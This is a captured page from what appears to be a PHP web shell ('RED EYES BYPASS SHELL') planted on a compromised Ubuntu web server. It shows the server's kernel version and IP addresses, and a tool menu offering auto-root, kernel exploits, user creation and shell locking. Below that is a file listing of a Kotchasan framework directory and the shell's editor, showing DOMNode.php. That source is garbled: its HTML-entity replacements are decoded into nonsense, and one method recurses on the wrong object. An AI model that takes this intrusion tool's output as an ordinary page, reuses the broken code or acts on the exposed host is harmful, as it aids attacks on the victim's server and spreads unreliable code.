Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
accout /
Kotchasan /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Cache
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Orm
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Psr
[ DIR ]
drwxr-xr-x
Accordion.php
2.59
KB
-rwxr-xr-x
ApiController.php
5.59
KB
-rwxr-xr-x
ApiException.php
431
B
-rwxr-xr-x
ArrayTool.php
16.99
KB
-rwxr-xr-x
CKEditor.php
5.5
KB
-rwxr-xr-x
Collection.php
4.73
KB
-rwxr-xr-x
Config.php
8.7
KB
-rwxr-xr-x
Controller.php
512
B
-rwxr-xr-x
Country.php
31.94
KB
-rwxr-xr-x
Csv.php
9.82
KB
-rwxr-xr-x
Curl.php
8.35
KB
-rwxr-xr-x
Currency.php
12.71
KB
-rwxr-xr-x
DOMNode.php
6.07
KB
-rwxr-xr-x
DOMParser.php
6.58
KB
-rwxr-xr-x
DataTable.php
50.94
KB
-rwxr-xr-x
Database.php
3.26
KB
-rwxr-xr-x
Date.php
8.26
KB
-rwxr-xr-x
Email.php
7.12
KB
-rwxr-xr-x
File.php
4.52
KB
-rwxr-xr-x
Files.php
3.05
KB
-rwxr-xr-x
Form.php
36.01
KB
-rwxr-xr-x
Grid.php
1.02
KB
-rwxr-xr-x
Html.php
21.1
KB
-rwxr-xr-x
HtmlTable.php
6.97
KB
-rwxr-xr-x
Htmldoc.php
4.37
KB
-rwxr-xr-x
Image.php
13.58
KB
-rwxr-xr-x
InputItem.php
20.1
KB
-rwxr-xr-x
InputItemException.php
449
B
-rwxr-xr-x
Inputs.php
4.29
KB
-rwxr-xr-x
KBase.php
561
B
-rwxr-xr-x
Kotchasan.php
2.73
KB
-rwxr-xr-x
Language.php
18.22
KB
-rwxr-xr-x
ListItem.php
7.77
KB
-rwxr-xr-x
Login.php
9.3
KB
-rwxr-xr-x
Menu.php
2.92
KB
-rwxr-xr-x
Mime.php
51.18
KB
-rwxr-xr-x
Model.php
1.31
KB
-rwxr-xr-x
Number.php
2.64
KB
-rwxr-xr-x
ObjectTool.php
3.73
KB
-rwxr-xr-x
Password.php
2.97
KB
-rwxr-xr-x
Pdf.php
43.15
KB
-rwxr-xr-x
Province.php
11.71
KB
-rwxr-xr-x
Router.php
5.45
KB
-rwxr-xr-x
Session.php
2.22
KB
-rwxr-xr-x
Singleton.php
1.3
KB
-rwxr-xr-x
Tab.php
3.72
KB
-rwxr-xr-x
Template.php
8.37
KB
-rwxr-xr-x
Text.php
12.89
KB
-rwxr-xr-x
Validator.php
2.7
KB
-rwxr-xr-x
View.php
8.16
KB
-rwxr-xr-x
Xls.php
3.04
KB
-rwxr-xr-x
load.php
15.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : DOMNode.php
<?php /** * @filesource Kotchasan/DOMNode.php * * @copyright 2016 Goragod.com * @license https://www.kotchasan.com/license/ * * @see https://www.kotchasan.com/ */ namespace Kotchasan; /** * คลาสสำหรับ Dom Node * * @author Goragod Wiriya <admin@goragod.com> * * @since 1.0 */ class DOMNode { /** * รายการคุณสมบัติของโหนด * * @var array */ public $attributes = array(); /** * รายการของโหนดที่อยู่ภายใน * <parentNode><childNode></childNode><childNode></childNode></parentNode> * * @var array */ public $childNodes; /** * ลำดับของโหนด ชั้นนอกสุดคือ 0 * * @var int */ public $level; /** * โหนดถัดไป (ลำดับเดียวกัน) ถ้าเป็นโหนดสุดท้ายจะเป็น null * <node></node><nextSibling></nextSibling> * * @var DOMNode */ public $nextSibling; /** * @var mixed */ public $nodeName; /** * ข้อความภายในโหนด ถ้าเป็น tag ค่านี้จะเป็น null * <node>nodeValue</node> * * @var string|null */ public $nodeValue; /** * โหนดแม่ * <parentNode><childNode></childNode></parentNode> * * @var DOMNode */ public $parentNode; /** * โหนดก่อนหน้า (ลำดับเดียวกัน) ถ้าเป็นโหนดแรกจะเป็น null * <previousSibling></previousSibling><node></node> * * @var DOMNode */ public $previousSibling; /** * class constructor * * @param string $nodeName ชื่อ tag ถ้าไม่มีชื่อ tag หมายถึงข้อความเปล่าๆ * @param DOMNode|null $parentNode โหนดแม่ ถ้าเป็นโหนดแรกคือ null * @param array $attributes คุณสมบัติของโหนก (properties) * @param string|null $nodeValue ข้อความภายในโหนด ถ้าเป็น tag ค่านี้จะเป็น null */ public function __construct($nodeName, $parentNode, $attributes, $nodeValue = null) { $this->nodeName = strtoupper($nodeName); $this->parentNode = $parentNode; $this->nodeValue = $nodeValue; foreach ($attributes as $key => $value) { $this->attributes[strtoupper($key)] = $value; } $this->childNodes = array(); } /** * ตรวจสอบว่ามีโหนดลูกหรือไม่ * คืนค่า true ถ้ามีโหนดลูก, false ถ้าไม่มี * * @return bool */ public function hasChildNodes() { return !empty($this->childNodes); } /** * ตรวจสอบว่ามีคลาสอยู่หรือไม่ * คืนค่า true ถ้ามี * * @param string $className ชื่อคลาสที่ต้องการตรวจสอบ * * @return bool */ public function hasClass($className) { if (!empty($this->attributes['CLASS'])) { $className = strtoupper($className); foreach (explode(' ', strtoupper($this->attributes['CLASS'])) as $item) { if ($item == $className) { return true; } } } return false; } /** * ตรวจสอบว่าเป็น element แบบ Inline หรือไม่ * คืนค่า true ถ้าเป็น Inline Elements หรือ false ถ้าเป็น Block-level Elements * * @return bool */ public function isInlineElement() { switch ($this->nodeName) { case 'B': case 'BIG': case 'I': case 'SMALL': case 'TT': case 'ABBR': case 'ACRONYM': case 'CITE': case 'CODE': case 'DFN': case 'EM': case 'STRONG': case 'SAMP': case 'TIME': case 'VAR': case 'A': case 'BDO': case 'BR': case 'IMG': case 'MAP': case 'OBJECT': case 'Q': case 'SCRIPT': case 'SPAN': case 'SUB': case 'BUTTON': case 'INPUT': case 'LABEL': case 'SELECT': case 'TEXTAREA': return true; } return false; } /** * คืนค่า ข้อความทั้งหมดภายในโหนด * * @return string */ public function nodeText() { $txt = ''; foreach ($this->childNodes as $node) { if ($node->hasChildNodes()) { $txt .= $this->nodeText(); } else { switch ($node->nodeName) { case 'BR': $txt .= "\n"; break; case '': $txt .= $node->nodeValue; break; } } } return $this->unentities($txt); } /** * แปลงรหัส HTML เป็นข้อความ เช่น < เป็น < * * @param string $html * * @return string */ public function unentities($html) { return str_replace(array(' ', '&', '<', '>', ''', '"'), array(' ', '&', '<', '>', "'", '"'), $html); } }
Close